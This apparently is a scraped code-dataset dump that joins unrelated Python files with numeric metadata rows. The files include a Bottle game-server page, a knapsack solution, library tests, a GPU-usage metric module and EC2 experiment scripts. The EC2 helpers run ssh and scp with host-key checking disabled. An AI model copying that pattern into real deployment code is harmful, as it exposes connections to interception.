</div> </body> </html> """ requested_world_path,requested_world = world_mapping.get(world,[None,None]) if requested_world is None: return template('<h1>Cannot find world <b> {{world}} </b></h1>',world=world) startFoundryWorld(requested_world_path) return """<!DOCTYPE html> <html> <title>Foundry World Select</title> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css"> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Signika"> <style> body,h1 {font-family: "Signika", sans-serif} body, html {height: 100%; background-color: #3f403f;} .bgimg { min-height: 100%; background-position: center; background-size: cover; } @keyframes blink { /** * At the start of the animation the dot * has an opacity of .2 */ 0% { opacity: .2; } /** * At 20% the dot is fully visible and * then fades out slowly */ 20% { opacity: 1; } /** * Until it reaches an opacity of .2 and * the animation can start again */ 100% { opacity: .2; } } .saving span { /** * Use the blink animation, which is defined above */ animation-name: blink; /** * The animation should take 1.4 seconds */ animation-duration: 1.4s; /** * It will repeat itself forever */ animation-iteration-count: infinite; /** * This makes sure that the starting style (opacity: .2) * of the animation is applied before the animation starts. * Otherwise we would see a short flash or would have * to set the default styling of the dots to the same * as the animation. Same applies for the ending styles. */ animation-fill-mode: both; } .saving span:nth-child(2) { /** * Starts the animation of the third dot * with a delay of .2s, otherwise all dots * would animate at the same time */ animation-delay: .2s; } .saving span:nth-child(3) { /** * Starts the animation of the third dot * with a delay of .4s, otherwise all dots * would animate at the same time */ animation-delay: .4s; } </style> <body> <div class="bgimg w3-display-container w3-animate-opacity w3-text-white"> <div class="w3-display-topleft w3-padding-large w3-xlarge"> Enjoy your game! </div> <div class="w3-display-middle"> <h1 class="w3-jumbo w3-animate-top"> <strong><p class="saving">Loading <span>.</span><span>.</span><span>.</span></p> </strong></h1> </div> </div> </body> <script> var timer = setTimeout(function() { window.location='"""+foundry_url+"""' }, 12000); </script> </html> """ #XYZ - Edit the scripts 12000 milisecond timer depending on your machine. # This value determines how long the page waits before refreshing and hopefully redirecting the user to the Foundry login page # (if it's too fast, the page will break and you will have to refresh until Foundry is turned on, too long... you just waste time.) server=bottleManager()

33.516026

280

0.589557

1,281

10,457

4.712724

0.314598

0.009276

0.010933

0.019877

0.308597

0.264038

0.247143

0.228259

0.209376

0

0.018476

0.29607

10,457

311

281

33.623794

0.801657

0.118772

0

0.430894

0

0.03252

0.491782

0.041145

0.004065

0

null

0

0.036585

null

0

null

0

null

0

1

0

1

48769d3fe736152c54bf8b09ad3360ea09bd2080

1,181

py

Python

scripts/12865.py

JihoChoi/BOJ

08974a9db8ebaa299ace242e951cac53ab55fc4d

[ "MIT" ]

null

scripts/12865.py

JihoChoi/BOJ

08974a9db8ebaa299ace242e951cac53ab55fc4d

[ "MIT" ]

null

scripts/12865.py

JihoChoi/BOJ

08974a9db8ebaa299ace242e951cac53ab55fc4d

[ "MIT" ]

null

""" TAG: 0-1 Knapsack Problem, Dynamic Programming (DP), O(nW) References: - https://www.geeksforgeeks.org/0-1-knapsack-problem-dp-10/ weights and values of n items, capacity -> max value """ N, W = map(int, input().split()) # number of items, capacity weights = [] values = [] for i in range(N): w, v = map(int, input().split()) weights.append(w) values.append(v) def knapsack(W, weights, values, n): dp = [[0 for x in range(W+1)] for x in range(n+1)] for i in range(n+1): for w in range(W+1): if i == 0 or w == 0: dp[i][w] = 0 elif weights[i-1] <= w: dp[i][w] = max(values[i-1] + dp[i-1][w - weights[i-1]], dp[i-1][w]) else: dp[i][w] = dp[i-1][w] return dp[n][W] print(knapsack(W, weights, values, N)) # Naive """ def knapsack(W, weights, values, n): if n == 0 or W == 0: # base return 0 if (weights[n-1] > W): return knapsack(W, weights, values, n-1) else: return max( values[n-1] + knapsack(W - weights[n-1], weights, values, n-1), knapsack(W, weights, values, n-1) ) """

21.87037

83

0.516511

191

1,181

3.193717

0.246073

0.02623

0.157377

0.180328

0.337705

0.239344

0

0.035237

0.303133

1,181

53

84

22.283019

0.705954

0.187976

0

1

0.052632

false

0

0.105263

0.052632

0

null

0

1

0

null

0

1

487c49f921ee4340fdfc140e8ff73bccf0d40cf6

3,273

py

Python

test/broken_test_log.py

Brimizer/python-ant

2b99693b4754156d401a0bd90e02357e8358c1f5

[ "MIT" ]

null

test/broken_test_log.py

Brimizer/python-ant

2b99693b4754156d401a0bd90e02357e8358c1f5

[ "MIT" ]

null

test/broken_test_log.py

Brimizer/python-ant

2b99693b4754156d401a0bd90e02357e8358c1f5

[ "MIT" ]

1

2019-01-11T22:22:06.000Z

# -*- coding: utf-8 -*- ############################################################################## # # Copyright (c) 2011, Martín Raúl Villalba # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to # deal in the Software without restriction, including without limitation the # rights to use, copy, modify, merge, publish, distribute, sublicense, and/or # sell copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS # IN THE SOFTWARE. # ############################################################################## LOG_LOCATION = '/tmp/python-ant.logtest.ant' import unittest from ant.core.log import * class LogReaderTest(unittest.TestCase): def setUp(self): lw = LogWriter(LOG_LOCATION) lw.logOpen() lw.logRead(b'\x01') lw.logWrite(b'\x00') lw.logRead(b'TEST') lw.logClose() lw.close() self.log = LogReader(LOG_LOCATION) def test_open_close(self): self.assertTrue(self.log.is_open) self.log.close() self.assertFalse(self.log.is_open) self.log.open(LOG_LOCATION) self.assertTrue(self.log.is_open) def test_read(self): t1 = self.log.read() t2 = self.log.read() t3 = self.log.read() t4 = self.log.read() t5 = self.log.read() self.assertEquals(self.log.read(), '') self.assertEquals(t1[0], EVENT_OPEN) self.assertTrue(isinstance(t1[1], int)) self.assertEquals(len(t1), 2) self.assertEquals(t2[0], EVENT_READ) self.assertTrue(isinstance(t1[1], int)) self.assertEquals(len(t2), 3) self.assertEquals(t2[2], b'\x01') self.assertEquals(t3[0], EVENT_WRITE) self.assertTrue(isinstance(t1[1], int)) self.assertEquals(len(t3), 3) self.assertEquals(t3[2], '\x00') self.assertEquals(t4[0], EVENT_READ) self.assertEquals(t4[2], 'TEST') self.assertEquals(t5[0], EVENT_CLOSE) self.assertTrue(isinstance(t1[1], int)) self.assertEquals(len(t5), 2) class LogWriterTest(unittest.TestCase): def setUp(self): self.log = LogWriter(LOG_LOCATION) def test_open_close(self): self.assertTrue(self.log.is_open) self.log.close() self.assertFalse(self.log.is_open) self.log.open(LOG_LOCATION) self.assertTrue(self.log.is_open) def test_log(self): # Redundant, any error in log* methods will cause the LogReader test # suite to fail. pass

33.397959

78

0.633364

432

3,273

4.74537

0.354167

0.061463

0.026341

0.038049

0.299512

0.245854

0.150244

0

0.019478

0.215704

3,273

97

79

33.742268

0.77912

0.355943

0

0.339623

0

0.026466

0.014011

0

0.433962

1

0.113208

false

0.018868

0.037736

0

0.188679

0

null

0

null

0

1

0

1

4880ecda66e3c2c409be46833975599cd4502de6

641

py

Python

doc/tutorial/getargs.py

OliverTED/doit

a6f75f312390aba352c3f00680cd32609323dbc2

[ "MIT" ]

null

doc/tutorial/getargs.py

OliverTED/doit

a6f75f312390aba352c3f00680cd32609323dbc2

[ "MIT" ]

1

2018-10-02T19:28:08.000Z

doc/tutorial/getargs.py

smheidrich/doit

1f9c3c755c96508ca2b1b2668f102f9d2da9c614

[ "MIT" ]

null

DOIT_CONFIG = {'default_tasks': ['use_cmd', 'use_python']} def task_compute(): def comp(): return {'x':5,'y':10, 'z': 20} return {'actions': [(comp,)]} def task_use_cmd(): return {'actions': ['echo x=%(x)s, z=%(z)s'], 'getargs': {'x': ('compute', 'x'), 'z': ('compute', 'z')}, 'verbosity': 2, } def task_use_python(): return {'actions': [show_getargs], 'getargs': {'x': ('compute', 'x'), 'y': ('compute', 'z')}, 'verbosity': 2, } def show_getargs(x, y): print "this is x:%s" % x print "this is y:%s" % y

24.653846

58

0.452418

79

641

3.531646

0.35443

0.075269

0.071685

0.114695

0.150538

0

0.015873

0.312012

641

25

59

25.64

0.61678

0

0.2

0

0.26053

0

null

0

null

0.1

0

null

0

null

0

1

0

1

4883b0040e8dc5ec47ef273298b6d359bf3bcacc

2,409

py

Python

EasyRecycle/tests/unittests/core/views/test_BecomeCommercialAPIView.py

YuriyLisovskiy/EasyRecycle

49f1b84931145a3e95224e411d22ed7701e5bfe0

[ "MIT" ]

null

EasyRecycle/tests/unittests/core/views/test_BecomeCommercialAPIView.py

YuriyLisovskiy/EasyRecycle

49f1b84931145a3e95224e411d22ed7701e5bfe0

[ "MIT" ]

null

EasyRecycle/tests/unittests/core/views/test_BecomeCommercialAPIView.py

YuriyLisovskiy/EasyRecycle

49f1b84931145a3e95224e411d22ed7701e5bfe0

[ "MIT" ]

null

from django.urls import reverse from rest_framework import status from rest_framework.test import force_authenticate from rest_framework_simplejwt.state import User from core.views import DeactivateSelfAPIView, BecomeCommercialAPIView from tests.unittests.common import APIFactoryTestCase class BecomeCommercialAPITestCase(APIFactoryTestCase): def setUp(self) -> None: super(BecomeCommercialAPITestCase, self).setUp() self.view = BecomeCommercialAPIView.as_view() self.user = User.objects.get(username='User') self.user_2 = User.objects.get(username='User2') self.user_3 = User.objects.get(username='User3') self.commercial_user = User.objects.get(username='Commercial') def test_BecomeCommercialValid(self): request = self.request_factory.put(reverse('api_v1:core:become_commercial'), { 'password': 'qwerty' }) force_authenticate(request, self.user) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertTrue(User.objects.get(username='User').is_commercial) def test_BecomeCommercialInvalid(self): request = self.request_factory.put(reverse('api_v1:core:become_commercial'), { 'password': 'qerty' }) force_authenticate(request, self.user) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_BecomeCommercialUnauthenticated(self): request = self.request_factory.put(reverse('api_v1:core:become_commercial'), { 'password': 'qwerty' }) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) def test_BecomeCommercialNoData(self): request = self.request_factory.put(reverse('api_v1:core:become_commercial')) force_authenticate(request, self.user) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_BecomeCommercialAlreadyCommercial(self): request = self.request_factory.put(reverse('api_v1:core:become_commercial'), { 'password': 'qwerty' }) force_authenticate(request, self.commercial_user) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)

42.263158

86

0.71565

264

2,409

6.329545

0.246212

0.09216

0.041891

0.065829

0.576302

0.527229

0

0.012214

0.184309

2,409

56

87

43.017857

0.838168

0

0.468085

0

0.094645

0.060191

0

0.12766

1

0.12766

false

0.085106

0.12766

0

0.276596

0

null

0

null

0

1

0

1

6f8edf6b803563f114318f388210647b9924420a

11,263

py

Python

avalanche/evaluation/metrics/gpu_usage.py

aishikhar/avalanche

39c361aba1663795ed33f093ab2e15cc5792026e

[ "MIT" ]

1

2021-08-11T19:43:38.000Z

avalanche/evaluation/metrics/gpu_usage.py

aishikhar/avalanche

39c361aba1663795ed33f093ab2e15cc5792026e

[ "MIT" ]

null

avalanche/evaluation/metrics/gpu_usage.py

aishikhar/avalanche

39c361aba1663795ed33f093ab2e15cc5792026e

[ "MIT" ]

1

2021-04-09T08:10:27.000Z

################################################################################ # Copyright (c) 2021 ContinualAI. # # Copyrights licensed under the MIT License. # # See the accompanying LICENSE file for terms. # # # # Date: 19-01-2021 # # Author(s): Vincenzo Lomonaco, Lorenzo Pellegrini # # E-mail: contact@continualai.org # # Website: www.continualai.org # ################################################################################ import GPUtil from threading import Thread import time import warnings from typing import Optional, TYPE_CHECKING, List from avalanche.evaluation import Metric, PluginMetric from avalanche.evaluation.metric_results import MetricValue, MetricResult from avalanche.evaluation.metric_utils import get_metric_name, \ phase_and_task, stream_type if TYPE_CHECKING: from avalanche.training import BaseStrategy class MaxGPU(Metric[float]): """ The standalone GPU usage metric. Important: this metric approximates the real maximum GPU percentage usage since it sample at discrete amount of time the GPU values. Instances of this metric keeps the maximum GPU usage percentage detected. The `start_thread` method starts the usage tracking. The `stop_thread` method stops the tracking. The result, obtained using the `result` method, is the usage in mega-bytes. The reset method will bring the metric to its initial state. By default this metric in its initial state will return an usage value of 0. """ def __init__(self, gpu_id, every=0.5): """ Creates an instance of the GPU usage metric. :param gpu_id: GPU device ID. :param every: seconds after which update the maximum GPU usage """ self.every = every self.gpu_id = gpu_id n_gpus = len(GPUtil.getGPUs()) if n_gpus == 0: warnings.warn("Your system has no GPU!") self.gpu_id = None elif gpu_id < 0: warnings.warn("GPU metric called with negative GPU id." "GPU logging disabled") self.gpu_id = None else: if gpu_id >= n_gpus: warnings.warn(f"GPU {gpu_id} not found. Using GPU 0.") self.gpu_id = 0 self.thread = None """ Thread executing GPU monitoring code """ self.stop_f = False """ Flag to stop the thread """ self.max_usage = 0 """ Main metric result. Max GPU usage. """ def _f(self): """ Until a stop signal is encountered, this function monitors each `every` seconds the maximum amount of GPU used by the process """ start_time = time.monotonic() while not self.stop_f: # GPU percentage gpu_perc = GPUtil.getGPUs()[self.gpu_id].load * 100 if gpu_perc > self.max_usage: self.max_usage = gpu_perc time.sleep(self.every - ((time.monotonic() - start_time) % self.every)) def start_thread(self): if self.gpu_id: assert not self.thread, "Trying to start thread " \ "without joining the previous." self.thread = Thread(target=self._f, daemon=True) self.thread.start() def stop_thread(self): if self.thread: self.stop_f = True self.thread.join() self.stop_f = False self.thread = None def reset(self) -> None: """ Resets the metric. :return: None. """ self.max_usage = 0 def result(self) -> Optional[float]: """ Returns the max GPU percentage value. :return: The percentage GPU usage as a float value in range [0, 1]. """ return self.max_usage class MinibatchMaxGPU(PluginMetric[float]): """ The Minibatch Max GPU metric. This plugin metric only works at training time. """ def __init__(self, gpu_id, every=0.5): """ Creates an instance of the Minibatch Max GPU metric :param gpu_id: GPU device ID. :param every: seconds after which update the maximum GPU usage """ super().__init__() self.gpu_id = gpu_id self._gpu = MaxGPU(gpu_id, every) def before_training(self, strategy: 'BaseStrategy') \ -> None: self._gpu.start_thread() def before_training_iteration(self, strategy: 'BaseStrategy') -> None: self.reset() def after_training_iteration(self, strategy: 'BaseStrategy') \ -> MetricResult: return self._package_result(strategy) def after_training(self, strategy: 'BaseStrategy') -> None: self._gpu.stop_thread() def reset(self) -> None: self._gpu.reset() def result(self) -> float: return self._gpu.result() def _package_result(self, strategy: 'BaseStrategy') -> MetricResult: gpu_usage = self.result() metric_name = get_metric_name(self, strategy) plot_x_position = self.get_global_counter() return [MetricValue(self, metric_name, gpu_usage, plot_x_position)] def __str__(self): return f"MaxGPU{self.gpu_id}Usage_MB" class EpochMaxGPU(PluginMetric[float]): """ The Epoch Max GPU metric. This plugin metric only works at training time. """ def __init__(self, gpu_id, every=0.5): """ Creates an instance of the epoch Max GPU metric. :param gpu_id: GPU device ID. :param every: seconds after which update the maximum GPU usage """ super().__init__() self.gpu_id = gpu_id self._gpu = MaxGPU(gpu_id, every) def before_training(self, strategy: 'BaseStrategy') \ -> None: self._gpu.start_thread() def before_training_epoch(self, strategy) -> MetricResult: self.reset() def after_training_epoch(self, strategy: 'BaseStrategy') \ -> MetricResult: return self._package_result(strategy) def after_training(self, strategy: 'BaseStrategy') -> None: self._gpu.stop_thread() def reset(self) -> None: self._gpu.reset() def result(self) -> float: return self._gpu.result() def _package_result(self, strategy: 'BaseStrategy') -> MetricResult: gpu_usage = self.result() metric_name = get_metric_name(self, strategy) plot_x_position = self.get_global_counter() return [MetricValue(self, metric_name, gpu_usage, plot_x_position)] def __str__(self): return f"MaxGPU{self.gpu_id}Usage_Epoch" class ExperienceMaxGPU(PluginMetric[float]): """ The Experience Max GPU metric. This plugin metric only works at eval time. """ def __init__(self, gpu_id, every=0.5): """ Creates an instance of the Experience CPU usage metric. :param gpu_id: GPU device ID. :param every: seconds after which update the maximum GPU usage """ super().__init__() self.gpu_id = gpu_id self._gpu = MaxGPU(gpu_id, every) def before_eval(self, strategy: 'BaseStrategy') \ -> None: self._gpu.start_thread() def before_eval_exp(self, strategy) -> MetricResult: self.reset() def after_eval_exp(self, strategy: 'BaseStrategy') \ -> MetricResult: return self._package_result(strategy) def after_eval(self, strategy: 'BaseStrategy') -> None: self._gpu.stop_thread() def reset(self) -> None: self._gpu.reset() def result(self) -> float: return self._gpu.result() def _package_result(self, strategy: 'BaseStrategy') -> MetricResult: gpu_usage = self.result() metric_name = get_metric_name(self, strategy, add_experience=True) plot_x_position = self.get_global_counter() return [MetricValue(self, metric_name, gpu_usage, plot_x_position)] def __str__(self): return f"MaxGPU{self.gpu_id}Usage_Experience" class StreamMaxGPU(PluginMetric[float]): """ The Stream Max GPU metric. This plugin metric only works at eval time. """ def __init__(self, gpu_id, every=0.5): """ Creates an instance of the Experience CPU usage metric. :param gpu_id: GPU device ID. :param every: seconds after which update the maximum GPU usage """ super().__init__() self.gpu_id = gpu_id self._gpu = MaxGPU(gpu_id, every) def before_eval(self, strategy) -> MetricResult: self.reset() self._gpu.start_thread() def after_eval(self, strategy: 'BaseStrategy') \ -> MetricResult: packed = self._package_result(strategy) self._gpu.stop_thread() return packed def reset(self) -> None: self._gpu.reset() def result(self) -> float: return self._gpu.result() def _package_result(self, strategy: 'BaseStrategy') -> MetricResult: gpu_usage = self.result() phase_name, _ = phase_and_task(strategy) stream = stream_type(strategy.experience) metric_name = '{}/{}_phase/{}_stream' \ .format(str(self), phase_name, stream) plot_x_position = self.get_global_counter() return [MetricValue(self, metric_name, gpu_usage, plot_x_position)] def __str__(self): return f"MaxGPU{self.gpu_id}Usage_Stream" def gpu_usage_metrics(gpu_id, every=0.5, minibatch=False, epoch=False, experience=False, stream=False) -> List[PluginMetric]: """ Helper method that can be used to obtain the desired set of plugin metrics. :param gpu_id: GPU device ID. :param every: seconds after which update the maximum GPU usage :param minibatch: If True, will return a metric able to log the minibatch max GPU usage. :param epoch: If True, will return a metric able to log the epoch max GPU usage. :param experience: If True, will return a metric able to log the experience max GPU usage. :param stream: If True, will return a metric able to log the evaluation max stream GPU usage. :return: A list of plugin metrics. """ metrics = [] if minibatch: metrics.append(MinibatchMaxGPU(gpu_id, every)) if epoch: metrics.append(EpochMaxGPU(gpu_id, every)) if experience: metrics.append(ExperienceMaxGPU(gpu_id, every)) if stream: metrics.append(StreamMaxGPU(gpu_id, every)) return metrics __all__ = [ 'MaxGPU', 'MinibatchMaxGPU', 'EpochMaxGPU', 'ExperienceMaxGPU', 'StreamMaxGPU', 'gpu_usage_metrics' ]

29.717678

80

0.589097

1,310

11,263

4.868702

0.166412

0.03371

0.026811

0.018344

0.520853

0.492945

0.4873

0.473816

0

0.004622

0.308444

11,263

378

81

29.796296

0.814225

0.27435

0

0.502762

0

0.078166

0.019713

0

0.005525

1

0.226519

false

0

0.049724

0.060773

0.403315

0

null

0

null

0

1

0

1

6f93e22cf26c9a478c3691514ddab933b92e050e

280

py

Python

scripts/test_process_traj.py

hyyh28/trajectory-transformer

4a369b6d1c950c76d1792cf004644fa13040319c

[ "MIT" ]

null

scripts/test_process_traj.py

hyyh28/trajectory-transformer

4a369b6d1c950c76d1792cf004644fa13040319c

[ "MIT" ]

null

scripts/test_process_traj.py

hyyh28/trajectory-transformer

4a369b6d1c950c76d1792cf004644fa13040319c

[ "MIT" ]

null

import numpy as np import pickle expert_file = 'maze_expert.npy' imitation_agent_file = 'maze_agent.npy' with open(imitation_agent_file, 'rb') as handle: agent_data = pickle.load(handle) with open(expert_file, 'rb') as handle: expert_data = pickle.load(handle) print("OK")

31.111111

48

0.757143

44

280

4.590909

0.431818

0.09901

0.178218

0.138614

0

0.128571

280

9

49

31.111111

0.827869

0

0.124555

0

1

0

false

0

0.222222

0

0.222222

0.111111

0

null

0

1

0

null

0

1

6f985fc4f5c199385b03c83c5b2b06f32b9bac8b

3,475

py

Python

ec2/physbam/utils.py

schinmayee/nimbus

170cd15e24a7a88243a6ea80aabadc0fc0e6e177

[ "BSD-3-Clause" ]

20

2017-07-03T19:09:09.000Z

2021-09-10T02:53:56.000Z

ec2/physbam/utils.py

schinmayee/nimbus

170cd15e24a7a88243a6ea80aabadc0fc0e6e177

[ "BSD-3-Clause" ]

null

ec2/physbam/utils.py

schinmayee/nimbus

170cd15e24a7a88243a6ea80aabadc0fc0e6e177

[ "BSD-3-Clause" ]

9

2017-09-17T02:05:06.000Z

2020-01-31T00:12:01.000Z

#!/usr/bin/env python # Author: Omid Mashayekhi <omidm@stanford.edu> import sys import os import subprocess import config sys.path.append(os.path.join(os.path.dirname(os.path.abspath(__file__)), '..')) import ec2 temp_file_name = '_temp_file_' def copy_binary_file_to_hosts(ip_addresses): for ip in ip_addresses: command = '' command += ' scp -i ' + config.PRIVATE_KEY command += ' -o UserKnownHostsFile=/dev/null ' command += ' -o StrictHostKeyChecking=no ' command += config.SOURCE_PATH + 'Water ' command += ' ubuntu@' + ip + ':' + config.REMOTE_PATH subprocess.call(command, shell=True) def collect_logs(ip_addresses): subprocess.call(['rm', '-rf', config.OUTPUT_PATH]) subprocess.call(['mkdir', '-p', config.OUTPUT_PATH]) for ip in ip_addresses: subprocess.Popen(['scp', '-q', '-r', '-i', config.PRIVATE_KEY, '-o', 'UserKnownHostsFile=/dev/null', '-o', 'StrictHostKeyChecking=no', 'ubuntu@' + ip + ':' + config.FOLDER_PATH + 'mpi*.log', config.OUTPUT_PATH]) subprocess.Popen(['scp', '-q', '-r', '-i', config.PRIVATE_KEY, '-o', 'UserKnownHostsFile=/dev/null', '-o', 'StrictHostKeyChecking=no', 'ubuntu@' + ip + ':' + config.FOLDER_PATH + '*_lb_log.txt', config.OUTPUT_PATH]) def clean_logs(ip_addresses): command = '' command += 'rm -rf ' + config.FOLDER_PATH + 'mpi*.log' + ';' command += 'rm -rf ' + config.FOLDER_PATH + '*_lb_log.txt' + ';' for ip in ip_addresses: subprocess.Popen(['ssh', '-q', '-i', config.PRIVATE_KEY, '-o', 'UserKnownHostsFile=/dev/null', '-o', 'StrictHostKeyChecking=no', 'ubuntu@' + ip, command]) def make_nodes_file_content(ip_addresses): string = "" for ip in ip_addresses: print ip string = string + ip + " cpu=8\n" file = open(temp_file_name, 'w+') file.write(string) file.close() def copy_nodes_file_to_hosts(ip_addresses): make_nodes_file_content(ip_addresses) for ip in ip_addresses: command = '' command += ' scp -i ' + config.PRIVATE_KEY command += ' -o UserKnownHostsFile=/dev/null ' command += ' -o StrictHostKeyChecking=no ' command += temp_file_name command += ' ubuntu@' + ip + ':' + config.REMOTE_PATH + config.NODES_FILE_NAME subprocess.call(command, shell=True) subprocess.call(['rm', temp_file_name]) def run_experiment(ip): command = '' command += ' ssh -i ' + config.PRIVATE_KEY command += ' -o UserKnownHostsFile=/dev/null ' command += ' -o StrictHostKeyChecking=no ' command += ' ubuntu@' + ip command += ' \"cd ' + config.REMOTE_PATH + '; ' command += ' mpirun -hostfile ' + config.NODES_FILE_NAME command += ' -np ' + str(config.INSTANCE_NUM) command += ' ./Water -scale ' + str(config.SCALE) command += ' -e ' + str(config.FRAME_NUM) + '\" ' print command subprocess.call(command, shell=True) def collect_output_data(ip_addresses): subprocess.call(['rm', '-rf', config.OUTPUT_NAME]) subprocess.call(['mkdir', '-p', config.OUTPUT_NAME]) process_num = 0 for ip in ip_addresses: process_num += 1 command = '' command += ' scp -r -i ' + config.PRIVATE_KEY command += ' -o UserKnownHostsFile=/dev/null ' command += ' -o StrictHostKeyChecking=no ' command += ' ubuntu@' + ip + ':' + config.REMOTE_PATH + config.OUTPUT_NAME + str(process_num) command += ' ' + config.OUTPUT_NAME subprocess.call(command, shell=True)

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null

0

null

0

1

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1

6f9d6fb07fd37fbb906d2b22ed6f41821f271822

198

py

Python

ishashad.py

albusdemens/Twitter-mining-project

67a2bd651459568bb74d64dde9cd76fc7925fd32

[ "MIT" ]

null

ishashad.py

albusdemens/Twitter-mining-project

67a2bd651459568bb74d64dde9cd76fc7925fd32

[ "MIT" ]

null

ishashad.py

albusdemens/Twitter-mining-project

67a2bd651459568bb74d64dde9cd76fc7925fd32

[ "MIT" ]

null

#To run the code, write #from ishashad import ishashad #then ishashad(number) def ishashad(n): if n % sum(map(int,str(n))) == 0: print("True") else: print("False") return

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0.333333

1

0

null

0

null

0

1

6fa203b91e4061ab9a5aeb13af78a9c24d505f2c

785

py

Python

faiss_utils.py

yizt/keras-lbl-IvS

3f98b698c56ae40954b4920da167f7c9e32024c8

[ "Apache-2.0" ]

22

2019-01-13T12:56:56.000Z

2020-11-03T01:39:20.000Z

faiss_utils.py

yizt/keras-lbl-IvS

3f98b698c56ae40954b4920da167f7c9e32024c8

[ "Apache-2.0" ]

null

faiss_utils.py

yizt/keras-lbl-IvS

3f98b698c56ae40954b4920da167f7c9e32024c8

[ "Apache-2.0" ]

5

2019-04-01T09:19:55.000Z

2020-05-26T14:38:06.000Z

# -*- coding: utf-8 -*- """ File Name： faiss_utils Description : faiss工具类 Author : mick.yi date： 2019/1/4 """ import faiss import numpy as np def get_index(dimension): sub_index = faiss.IndexFlatL2(dimension) index = faiss.IndexIDMap(sub_index) return index def update_multi(index, vectors, ids): """ :param index: :param vectors: :param ids: :return: 备注：ValueError: array is not C-contiguous """ idx = np.argsort(ids) # 先删除再添加 index.remove_ids(ids[idx]) index.add_with_ids(vectors[idx], ids[idx]) def update_one(index, vector, label_id): vectors = np.expand_dims(vector, axis=0) ids = np.array([label_id]) update_multi(index, vectors, ids)

21.216216

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0.602548

100

785

4.6

0.54

0.034783

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0.1

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0.015873

0.277707

785

36

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0.428571

0

null

0

null

0

1

0

1

6fa21afd208bf7323dcf7c8f05508069120736b0

475

py

Python

relogio.py

Glightman/project_jogo_POO

c5557871f7e4a2a264c03180581cb2a6b1dec1b9

[ "MIT" ]

1

2021-05-29T23:43:36.000Z

relogio.py

Glightman/project_jogo_POO

c5557871f7e4a2a264c03180581cb2a6b1dec1b9

[ "MIT" ]

null

relogio.py

Glightman/project_jogo_POO

c5557871f7e4a2a264c03180581cb2a6b1dec1b9

[ "MIT" ]

2

2021-06-01T01:36:01.000Z

2021-06-01T01:36:59.000Z

class Relogio: def __init__(self): self.horas = 6 self.minutos = 0 self.dia = 1 def __str__(self): return f"{self.horas:02d}:{self.minutos:02d} do dia {self.dia:02d}" def avancaTempo(self, minutos): self.minutos += minutos while(self.minutos >= 60): self.minutos -= 60 self.horas += 1 if self.horas >= 24: self.horas = 0 self.dia +=1

23.75

75

0.492632

57

475

3.964912

0.368421

0.292035

0.070796

0.079646

0

0.062069

0.389474

475

19

76

25

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0.120507

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0

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false

0

0.066667

0.333333

0

null

1

0

null

0

1

6fa2c35d5d796a2e58e703cd256e4f54f2acff9f

432

py

Python

users/migrations/0004_auto_20191028_2154.py

icnmtrx/classified

c9515352e046293dacd66ba28cb32ae378edf832

[ "MIT" ]

null

users/migrations/0004_auto_20191028_2154.py

icnmtrx/classified

c9515352e046293dacd66ba28cb32ae378edf832

[ "MIT" ]

2

2021-06-08T20:56:16.000Z

2021-09-08T01:41:42.000Z

users/migrations/0004_auto_20191028_2154.py

icnmtrx/classified

c9515352e046293dacd66ba28cb32ae378edf832

[ "MIT" ]

null

# Generated by Django 2.2.5 on 2019-10-28 21:54 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('users', '0003_auto_20191028_1802'), ] operations = [ migrations.AlterField( model_name='profile', name='registered_at', field=models.DateTimeField(auto_now_add=True, verbose_name='date_registered'), ), ]

22.736842

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0.62963

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432

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0.096875

0.259259

432

18

91

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0.333333

0

null

0

1

0

null

0

1

6fa4cb77b9686bd974f4ba0799278420d18f452c

1,928

py

Python

fewshot/models/basic_model_VAT_ENT.py

AhmedAyad89/Consitent-Prototypical-Networks-Semi-Supervised-Few-Shot-Learning

b0b805733ee6c42cee5ddd9eace94edd29f6120d

[ "MIT" ]

22

2019-03-13T02:19:17.000Z

2021-08-06T03:13:00.000Z

fewshot/models/basic_model_VAT_ENT.py

mattochal/Consitent-Prototypical-Networks-Semi-Supervised-Few-Shot-Learning

b0b805733ee6c42cee5ddd9eace94edd29f6120d

[ "MIT" ]

1

2019-07-27T14:33:02.000Z

2020-06-01T11:03:20.000Z

fewshot/models/basic_model_VAT_ENT.py

mattochal/Consitent-Prototypical-Networks-Semi-Supervised-Few-Shot-Learning

b0b805733ee6c42cee5ddd9eace94edd29f6120d

[ "MIT" ]

5

2019-03-07T06:18:51.000Z

2019-10-22T05:33:23.000Z

